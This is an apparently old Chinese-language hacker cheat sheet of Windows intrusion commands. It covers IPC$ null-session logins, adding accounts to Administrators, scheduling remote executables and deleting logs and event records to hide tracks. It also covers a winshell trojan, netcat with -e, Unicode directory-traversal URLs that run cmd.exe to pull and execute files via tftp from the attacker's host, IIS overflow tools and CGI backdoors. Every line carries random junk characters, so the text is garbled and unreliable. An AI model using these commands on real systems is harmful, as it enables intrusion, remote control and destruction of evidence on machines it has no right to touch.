网管和黑客都必须知道的命令
w |l1' 常用的几条NET命令：
^ "\R\COQ _D|^.)=U| （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
f
nI| bO<C R （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
hTwA %
TT-h;'nJ （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
A pjOj/ e)?Fi （查看远程主机时间） net time \\IP地址
GIAc?;zY BATG FS& （定时启动某个程序） at \\IP地址 02:18 readme.exe
E#s)52z=B H OBP`lf （查看共享） net view \\IP地址
hS 9;k9 w 9aJ%`i （查看netbios工作组列表） nbtstat -A IP地址
@JRNb=?a 3"{ .37Q （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
Zk [&IBE_ JH8zF{? （这两条把自己增加到管理员组）： net user 用户名 密码 /add
q7&6r|w1I YZ+RWu9K net localgroup Administrators 用户名 /add
#0Tq=:AE> Oez>X=Xf （断开连接） net use \\IP地址\ipc$ /delete
Ye.r%i & SRSvot};C 扫尾：
&hk-1y9QS [}fv dW del C:\winnt\system32\logfiles\*.*
%8~3M75$ Q~Z=(rP20 del C:\winnt\ssytem32\config\*.evt
{8I. `U }cN@[3v del C:\winnt\system32\dtclog\*.*
pD&& l!i&[ r
6Q Q del C:\winnt\system32\*.log
/6_|]ijc :f$x Qr4Qz del C:\winnt\system32\*.txt
uB7 V ?A E#F/88( del C:\winnt\*.txt
*@TZ+{t kkK
kf ' del C:\winnt\*.log
t>H`X~SR? K).n.:vYZ 一、netsvc.exe
) IJQeC ]f1{n 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
YX*Qd$chZ hxS 6:5Uc netsvc /list \\IP地址
H}:LQ~_2 4WB-Ec netsvc schedule \\IP地址 /query
AdWq Q b
pv= % netsvc \\IP地址 schedule /start
m:hY`[ f6 ~i.k$XGA 二、OpenTelnet.exe
$2%f 8& KOwOIDt 远程启动主机的Telnet服务，并绑定端口到7878，例如：
yOvm`9 lq"f[-8a2q OpenTelnet \\IP地址 用户名 密码 1 7878
U#1bp}y 0T>H)c6:\ 然后就可以telnet到主机的7878端口，进入DOS方式下：
3su78e t} x1z tfJd telnet IP地址 7878
%r+vSGt;5 |$7vI&m 三、winshell.exe
p7H3J?`w1+ 5cWw7V< m 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
Lq>&d,F06) z.rh]Z q p Path （查看winshell主程序的路径信息）
@ps1Dr4s 1 tR_8lC b reBoot （重新启动机器）
C^ )*Dsp Zec <m8~ d shutDown （关闭机器）
6b!F 1 JB nK K s Shell （执行后你就会看到可爱的“C:\>”）
~g7l8H67 "4%"&2L x eXit （退出本次登录会话，此命令并不终止winshell的运行）
*]i!fzI'] 1$*%" 5a CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
b2@VxdFN =rR~ ` 四、3389登陆器，GUI方式登录远程主机的
DvM5 k ZR\VCVH\^ 五、elsave.exe
21(p|` X #);[mW{F 事件日志清除工具
&[hLzlrg d`1I".y elsave -s \\IP地址 -l "application" -C
= LTmr1? A 0%}v * elsave -s \\IP地址 -l "system" -C
+,2Jzl'- p^iRPI elsave -s \\IP地址 -l "security" -C
RQFI'@Ks 4R 5D88= C 执行后成功清除应用程序日志，系统日志，安全日志
>s` J5I! . <tq6 1 六、hbulot.exe
P+)DsZ0ig 2[gFkyqe 开启win2kserver和winxp的3389服务
ykrr2x @JW@-9/ hbulot [/r]
4 ikd M/ _f6HAGDN 使用/r表示安装完成后自动重起目标使设置生效。
iX\W; V ltFq/M 七、nc.exe(netcat.exe)
(8ht*b.5K *SO{ \bu 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
M4 WiT<|]R 7$rjl Ve 想要连接到某处: nc [-options] hostname port[s] [ports] ...
|X`/ + 78CvjG 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
*|_"W+JC Z/ Tm)Xd 参数:
lHZU iB ^GB e)~MT -e prog 程序重定向，一旦连接，就执行 [危险!!]
,j 5&6X=1M l$hJ E;n -g gateway source-routing hop point[s], up to 8
S1U@U C eh[_~>w -G num source-routing pointer: 4, 8, 12, ...
we#w H- a" H WGY -h 帮助信息
'Z`$ n8 ~8m=1)A {( -i secs 延时的间隔
<94_ @3 (5Sivw*mP -l 监听模式，用于入站连接
\cLSf= 6DZ),F,M -n 指定数字的IP地址，不能用hostname
G HQ;hN: kPjd_8z2n -o file 记录16进制的传输
QORN9S Y r_YI pnJ -p port 本地端口号
S!{t6'8K 8?Z4-6!{V, -r 任意指定本地及远程端口
H_? o-L?+ CU7F5@+ -s addr 本地源地址
>q7BVF6V | % Qm k2 -u UDP模式
*6 U&Qy-M IHp_A -v 详细输出——用两个-v可得到更详细的内容
A6oq.I0 G
Xt4j -w secs timeout的时间
0R0{t=VJZ LB/C-n.` -z 将输入输出关掉——用于扫描时
p N\Vr8tJ 八、TFTPD32.EXE
>E,U>@+ }oJAB1'k 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
VB<Jf'NU {_U
Kttp http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
I-agZag% OTZ_c1"K 然后可以直接令文件运行：
rfw-^`&{ M. td^l0 http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
S^Au#1e
H[b}kZW:a 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
c)&>$S8* OUP?p@%]< 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
gGMWr.!
8 na^sBq?\ 一、一 Xscan命令行运行参数说明：
BGr.yEy "g+z !4b# 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
@u._"/K t\v+ogbk) 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
j6(?D*x ,i.%nZw\ xscan -file <主机列表文件名> <检测项目> [其他选项]
xug)aE ~m *,mz 其中<检测项目> 含义如下:
d1joVUYE tvd0 R$5} -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
vEQ< A<[Z gw _$ -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
[ $fJRR Z X~
_g@
-ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
//Ai.Q.J[ Gs2p5nL< -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
YK{a abxD B -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
KLC{7"6e) TzBzEiANn [其他选项] 含义如下:
@ d"wAZzD? AOrHU M[I -v: 显示详细扫描进度
h.K(P+h Y RlDX:oX~ -p: 跳过Ping不通的主机
[Vf}NF
fa.0I~ -o: 跳过没有检测到开放端口的主机
F>gmj'-^ ESb
]}c : -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
